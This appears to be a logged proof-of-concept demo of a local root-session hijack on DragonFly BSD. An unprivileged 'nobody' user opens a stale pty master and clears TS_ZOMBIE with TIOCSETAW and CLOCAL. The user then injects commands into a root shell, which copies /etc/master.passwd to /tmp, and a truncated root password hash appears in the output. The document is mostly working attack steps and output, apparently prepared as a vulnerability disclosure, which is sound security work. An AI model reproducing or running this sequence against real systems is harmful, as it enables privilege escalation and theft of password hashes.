========== [11:40:47] BEAT 5 — ATTACKER (nobody): full takeover — stale master, ZOMBIE clear, injection, live control ==========
ATTACKER| identity: uid=65534 euid=65534 (must be unprivileged)

ATTACKER| ----- open the STALE master /dev/ptm/N (the dead terminal's seat) -----
ATTACKER| $ open("/dev/ptm/0", O_RDWR)
ATTACKER| -> master fd 3 opened. I am the new master of a live session.

ATTACKER| ----- clear the kernel's last fence: TS_ZOMBIE via TIOCSETAW + CLOCAL -----
ATTACKER| -> TIOCSETAW(c_cflag|=CLOCAL) ok: TS_ZOMBIE cleared (tty.c:1065-1077)
ATTACKER| -> the dead terminal is alive again -- under MY control

ATTACKER| ----- INJECT into the root session's tty -----
ATTACKER| $ write(master, "id > /tmp/df2769_pwned; cat /etc/master.passwd > /tmp/df2769_secret\n")

ATTACKER| ----- capture the session's screen via ptcread -----
ATTACKER-READ| root@dfbsd:~ # id > /tmp/df2769_pwned; cat /etc/master.passwd > /tmp/df2769_secret
root@dfbsd:~ # 
ATTACKER| ----- INJECT into the root session's tty -----
ATTACKER| $ write(master, "whoami; hostname\n")

ATTACKER| ----- the root shell answers ON MY screen -----
ATTACKER-READ| whoami; hostname
root
dfbsd
root@dfbsd:~ # 
ATTACKER| ----- INJECT into the root session's tty -----
ATTACKER| $ write(master, "echo DF-2769-PWNED > /tmp/df2769_marker\n")

ATTACKER| ----- leave a 0:0-owned marker -----
ATTACKER-READ| echo DF-2769-PWNED > /tmp/df2769_marker
root@dfbsd:~ # 
ATTACKER| RESULT=HIJACKED (root session fully controlled by 'nobody')


========== [11:40:57] BEAT 8 — PROOF: what just happened ==========
attacker identity never changed: uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
files created BY THE ROOT SESSION for the attacker:
  -rw-r--r--  1 root  wheel    14 Oct 16 11:40 /tmp/df2769_marker
  -rw-r--r--  1 root  wheel   111 Oct 16 11:40 /tmp/df2769_pwned
  -rw-r--r--  1 root  wheel  1913 Oct 16 11:40 /tmp/df2769_secret
--- /tmp/df2769_pwned (owner: root; content written by the hijacked session) ---
  uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest), 90(nvmm)
--- /tmp/df2769_secret (root-only file exfiltrated through the session; first 3 lines, truncated) ---
  # $FreeBSD: src/etc/master.passwd,v 1.25.2.6 2002/06/30 17:57:17 des Exp
  #
  root:$6$ccqWuAkLXtcCnBEd$kQSFoSBIEjf15/3HyuAwJRCvbUvW2C6DF7kZmhqTQ4k77Uh
--- marker ownership ---
  owner=root:wheel mode=-rw-r--r-- file=/tmp/df2769_marker
  owner=root:wheel mode=-rw-r--r-- file=/tmp/df2769_pwned
  owner=root:wheel mode=-rw-r--r-- file=/tmp/df2769_secret


========== [11:40:57] BEAT 9 — CLEANUP: demo hygiene ==========
[narrator] victim session (867) terminated
[narrator] devfs rules cleared (nodes re-hide at next boot; -r node-reset deliberately not used)
  crw-rw-rw-  1 root  wheel   11, 0xffff00ff Oct 16 11:40 /dev/ptmx

========== [11:40:57] FILM END — nobody -> live root session takeover ==========